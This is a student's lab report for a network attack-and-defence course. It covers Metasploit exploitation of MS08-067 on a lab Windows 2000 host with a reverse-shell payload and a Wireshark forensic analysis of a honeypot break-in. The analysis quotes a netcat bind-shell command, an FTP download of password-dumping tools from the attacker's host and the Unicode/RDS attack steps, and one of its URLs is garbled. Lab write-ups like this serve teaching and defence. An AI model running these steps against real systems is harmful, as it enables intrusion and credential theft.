20242934 2024-2025-2 《网络攻防实践》第六周作业
1.实践内容
1、动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
2、取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击?
攻击者如何使用这个破解工具进入并控制了系统?
攻击者获得系统访问权限后做了什么?
我们如何防止这样的攻击?
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
3、团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
MS08-067漏洞
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。MS08-067漏洞将会影响除Windows Server 2008 Core以外的所有Windows系统,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括测试阶段的Windows 7 Pro-Beta。
Metasploit
一款免费开源的安全漏洞检测工具,本次实践会使用Metasploit:
(1) exploits(渗透攻击/漏洞利用模块)
渗透攻击模块是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码。每个漏洞都有相应的攻击代码。
(2) payloads (攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码。攻击载荷模块从最简单的添加用户账号、提供命令行Shell,到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。
2.实践过程
2.1、动手实践Metasploit windows attacker
首先打开kali虚拟机,输入命令msfconsole来启动metasploit
输入命令行search ms08_067查看漏洞ms08_067详细信息
输入use windows/smb/ms08_067_netapi进入漏洞所在文件
输入命令行show options查看攻击此漏洞需要的设置
输入命令行show payloads显示此漏洞的载荷
选择第三个载荷进行攻击
输入命令行set payload generic/shell_reverse_tcp设置载荷
使用命令set LHOST 192.168.200.2设置攻击机Kali;
set RHOST 192.168.200.124设置靶机Windows 2k
输入命令行exploit进行攻击,出现会话连接即攻击成功,回车即可进入到受害靶机的shell
查看靶机的ip地址
2.2取证分析实践:解码一次成功的NT系统破解攻击。
2.2.1攻击者使用了什么破解工具进行攻击
在kali中使用wireshark打开log文件
使用ip.addr ==172.16.1.106 and http进行筛选
右键选择follow-->TCP stream,跟踪一个数据包的cpu数据流,找到特殊字符%C0%AF
上网查询可知,发现[%C0%AF]为Unicode编码,由此判断攻击者进行了Unicode攻击以打开boot.ini文件。因此存在Unicode漏洞攻击。
2.2.2攻击者如何使用这个破解工具进入并控制了系统
继续跟踪数据流,发现有shell语句和"ADM!ROX!YOUR!WORLD",根据此并查询百度可知,这是RDS漏洞
将这些shell代码整理出来,并进行分析(下图来自视频实践2)
从这些shell语句中可以看到攻击者使用IIS Unicode漏洞进入靶机之后,利用其msadcs.dall中的RDS漏洞允许任意代码执行的缺陷进行以下操作:
其中第一、二段的ftpcom可知攻击机打开213.116.251.162的主机后,使用FTP的方式下载文件,其中篇dump.exe和samdump.dll是配合使用破解口令的,使用samdump.dll拿到口令后再用pdump.exe进行破解。
以上图可以看出,sasfile为高效读入数据的方式,nc.exe文件是一个远程入侵的后门程序,便于下次攻击。
接下来使用http.request.uri contains "msadc"进行筛选,可以看到攻击机成功上传了工具。
2.2.3攻击者获得系统访问权限后做了什么
筛选ftp连接,发现直到编号1106连接成功的:
追踪TCP流,可以看出:攻击者通过创建了ftpcom脚本,使用ftp连接http://www.nether.xn--net%2Cjohna2khaxedj00-8d83a71aia030bk90i59nf6ww20jsxqaov4n/ nc.exe、pdump.exe和samdump.dll。
在下载完文件之后,查看到 1233 号数据包,攻击者执行了这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限
继续查看http数据流,可以看到删除了http的文件,猜测攻击者准备溜走。
2.2.4我们如何防止这样的攻击
及时打补丁,修复已知漏洞(如MS08-067)。
关闭高危服务(如SMBv1、RPC)。
启用防火墙,限制445/139等端口的外部访问。
最小化权限,禁用默认管理员账户。
部署杀软/IDS,监控异常行为。
2.2.5你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
查看tcp数据流时,发现其是蜜罐攻击。攻击者警觉了他的目标是一台蜜罐主机,攻击者写了这是他见过的最好的蜜罐。
2.3团队对抗实践:windows系统远程渗透攻击和分析。
2.3.1攻击方
与实验一操作相同,使用kali对Windows 2k ,执行exploit进行攻击:
通过命令md 123创建了一个文件夹123
如果从靶机处看,可看到已经多出一个文件夹123
2.3.2防守方
在攻击方攻击前打开wireshark,开始抓包
跟踪数据流,发现了攻击方在C盘创建了一个文件夹123
打开自己的C盘,发现确实有一个新创建的文件夹123
3.学习中遇到的问题及解决
问题1:使用命令c:>mkdir 123在c盘下创建文件夹失败
问题1解决方案:当时已经在c盘下的一个文件夹里,先使用cd..返回到c盘,再使用mkdir 123 或 md 123创建文件夹
问题2:不能正确的分析日志文件
问题2解决方案:阅览多个相关网页,学习如何从日志文件中分析敌手的攻击行为
4.实践总结
第一个实验完成起来还是比较容易主要是验证性的,学会利用Metasploit工具并对漏洞进行挖掘利用;第二个实验则需要自己进行分析,从很多信息中找到有用有效的信息,要对wireshark中冗杂的信息进行合理筛选才能更高效的找到攻击信息;第三个实验可以团队协作完成两台主机上的虚拟机攻防,也可以在同一台主机内完成。
通过本次实验了解了一些windows安全攻防以及一些漏洞的知识,通过对其他主机进行攻击,并夺取控制权的过程,加深了对于所学知识的理解,通过通过实践和查阅资料提高了动手能力和实践能力。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如果单表数据量大,只能考虑分库分表吗?
· 一款让 Everything 更加如虎添翼的 .NET 开源辅助工具!
· (原创)[开源][.Net Framework 4.5] SimpleMVVM(极简MVVM框架)更
· 冲压车间软件实施
· 干货分享!MCP 实现原理,小白也能看懂